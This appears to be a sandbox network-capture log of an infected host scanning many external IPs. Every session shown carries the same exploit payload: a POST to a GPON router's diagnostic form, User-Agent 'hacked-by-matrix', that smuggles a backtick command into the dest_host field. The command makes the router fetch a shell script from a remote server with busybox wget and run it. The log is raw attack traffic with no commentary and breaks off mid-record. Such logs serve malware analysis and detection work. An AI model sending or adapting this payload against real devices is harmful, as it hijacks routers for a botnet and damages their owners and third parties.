Mar 21, 2024 05:21:47.433865070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	46604	118.239.231.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433887959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	40906	109.6.70.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433942080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	45780	5.76.56.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433974028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	37268	42.31.7.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433995008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	32902	109.216.46.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434012890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	39246	109.53.231.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434029102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	47630	212.102.150.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434087038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	48668	109.31.7.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434108973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	37792	109.78.105.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434129000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	39564	109.189.6.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434169054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	54412	212.68.170.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434222937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	41138	42.134.106.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434250116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	34250	212.167.104.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434297085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	33620	212.158.199.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434320927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	58728	212.43.162.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434330940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	36278	42.35.54.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434348106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	50700	118.218.116.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434403896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	33908	118.171.107.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434434891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	49800	118.96.95.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434470892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	57752	42.24.183.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434501886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	50890	118.240.233.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434533119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	51620	212.76.1.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434546947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	40716	109.24.23.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434577942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	57804	109.92.220.213	443

Timestamp	Bytes transferred	Direction	Data
